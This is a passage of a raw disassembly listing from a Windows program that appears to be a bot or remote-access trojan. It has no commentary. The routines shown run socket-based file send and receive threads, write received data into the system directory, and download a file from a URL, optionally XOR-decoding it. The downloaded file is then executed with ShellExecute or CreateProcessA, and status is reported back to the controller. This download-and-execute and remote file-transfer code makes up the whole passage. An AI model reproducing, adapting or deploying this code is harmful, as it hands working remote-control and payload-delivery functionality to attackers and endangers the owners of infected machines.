		call	sub_415D38
		pop	ecx
		push	ebx
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_4160FE:				; CODE XREF: sub_416000+A3j
		push	64h
		call	dword_427080	; Sleep
		xor	edi, edi
		mov	esi, 1000h


loc_41610D:				; CODE XREF: sub_416000+168j
		push	esi
		lea	eax, [ebp+var_11B4]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_11B4]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		test	eax, eax
		jle	short loc_41616A
		lea	eax, [ebp+var_11B4]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41C8A0
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_419F9D
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41616A
		push	64h
		call	dword_427080	; Sleep
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	short loc_41610D


loc_41616A:				; CODE XREF: sub_416000+130j
					; sub_416000+154j
		lea	eax, [ebp+var_11B4]
		push	offset unk_437F88
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], edi
		pop	ecx
		pop	ecx
		jnz	short loc_41619D
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_41619D:				; CODE XREF: sub_416000+180j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415D38
		pop	ecx
		push	ebx
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		push	edi
		call	dword_4270D4	; ExitThread
sub_416000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161C1	proc near		; DATA XREF: sub_401ACD+7696o

var_A04		= byte ptr -0A04h
var_604		= byte ptr -604h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_3FC		= byte ptr -3FCh
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1E0		= byte ptr -1E0h
var_DC		= byte ptr -0DCh
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1FC]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp+var_10], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_20], esi
		call	dword_4CBA54	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_18], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: sub_4161C1+42j
		push	10h
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_30], 2
		push	esi
		call	dword_4CB9D4	; htons
		mov	word ptr [ebp+var_2E], ax
		lea	eax, [ebp+var_30]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_2E+2],	esi
		call	dword_4CBA00	; bind
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: sub_4161C1+80j
		lea	eax, [ebp+var_1C]
		mov	[ebp+var_1C], 10h
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		push	edi
		call	dword_4CB978	; getsockname
		push	[ebp+var_2E]
		call	dword_4CB904	; htons
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_1E0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: sub_4161C1+EFj
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+ecx+var_1E0]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: sub_4161C1+CAj
		movsx	eax, al


loc_416295:				; CODE XREF: sub_4161C1+CFj
		mov	[ebp+ecx+var_604], al
		lea	eax, [ebp+var_1E0]
		inc	ecx
		push	eax
		mov	[ebp+arg_0], ecx
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC	; listen
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: sub_4161C1+FBj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp+var_1E0]
		push	80000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: sub_4161C1+125j
		push	esi
		push	eax
		call	dword_427114	; GetFileSize
		mov	[ebp+arg_0], eax
		push	eax
		movzx	eax, word ptr [ebp+var_4]
		push	eax
		push	[ebp+var_1FC]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14	; inet_addr
		push	eax
		call	dword_4CB9D0	; htonl
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CB9BC	; select
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_438078
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: sub_4161C1+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CBA68	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: sub_4161C1+49j
					; sub_4161C1+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: sub_4161C1+200j
		push	edi
		call	dword_4CBA6C	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: sub_4161C1+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp+var_4], eax


loc_4163FD:				; CODE XREF: sub_4161C1+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_427128	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4270EC	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CBA24	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CB9EC	; recv
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+arg_0], eax
		jnz	loc_4163F0
		mov	edi, [ebp+var_18]


loc_41648D:				; CODE XREF: sub_4161C1+224j
		push	[ebp+var_8]
		call	dword_427070	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: sub_4161C1+1DCj
		add	esp, 14h


loc_4164C9:				; CODE XREF: sub_4161C1+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: sub_4161C1+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C	; closesocket


loc_416506:				; CODE XREF: sub_4161C1+33Cj
		push	[ebp+var_1F8]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_58]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416522:				; CODE XREF: sub_4161C1+2AFj
					; sub_4161C1+2BAj
		push	esi
		mov	esi, offset dword_438010
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_58]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_4161C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416563	proc near		; DATA XREF: sub_401ACD+798o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: sub_416563+81j
		push	eax
		call	dword_427070	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: sub_416563+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: sub_416563+88j
					; sub_416563+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: sub_416563+C9j
		mov	esi, 1000h


loc_41664B:				; CODE XREF: sub_416563+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CB9D0	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: sub_416563+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409869
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415D38
		push	[ebp+var_4]
		call	sub_41BA3B
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_1C]
		call	sub_40B6D6
		pop	ecx
		push	1
		call	dword_4270D4	; ExitThread


loc_416712:				; CODE XREF: sub_416563+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: sub_416563+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: sub_416563+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_415D38
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_416782
		push	[ebp+var_4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: sub_416563+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_416790
		push	[ebp+arg_0]
		call	dword_4CBA6C	; closesocket


loc_416790:				; CODE XREF: sub_416563+222j
		push	[ebp+var_1C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_416563	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4270F8	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_416867
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: sub_4167A0+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		push	[ebp+var_48]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416867:				; CODE XREF: sub_4167A0+68j
		xor	edi, edi
		call	dword_4270B0	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp+var_1C], eax


loc_416881:				; CODE XREF: sub_4167A0+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CB8E0	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_4168C5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: sub_4167A0+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4270F0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4168ED
		mov	eax, [ebp+arg_0]


loc_4168ED:				; CODE XREF: sub_4167A0+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: sub_4167A0+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416910
		cmp	edi, [ebp+var_3C]
		ja	short loc_41695A


loc_416910:				; CODE XREF: sub_4167A0+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: sub_4167A0+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: sub_4167A0+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: sub_4167A0+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_4169AF
		cmp	edi, [ebp+var_3C]
		jz	short loc_4169AF
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: sub_4167A0+1C4j
					; sub_4167A0+1C9j
		call	dword_4270B0	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_427070	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41BA91
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416A39
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: sub_4167A0+241j
					; sub_4167A0+253j
		cmp	[ebp+var_14], esi
		jz	loc_416C79
		cmp	[ebp+var_44], 1
		jz	loc_416B34
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_427690
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_427690
		fstp	[esp+590h+var_590]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: sub_4167A0+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp+var_30], esi
		jnz	loc_416C79
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: sub_4167A0+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_427690
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_427690
		fstp	[esp+590h+var_590]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: sub_4167A0+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43DB88
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_427074	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C	; WSACleanup
		call	sub_4188A6
		push	esi
		call	dword_42706C	; ExitProcess


loc_416C1E:				; CODE XREF: sub_4167A0+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: sub_4167A0+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: sub_4167A0+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: sub_4167A0+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: sub_4167A0+29Cj
					; sub_4167A0+325j ...
		push	[ebp+var_18]
		call	dword_4CBA08	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
sub_4167A0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: sub_4167A0+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
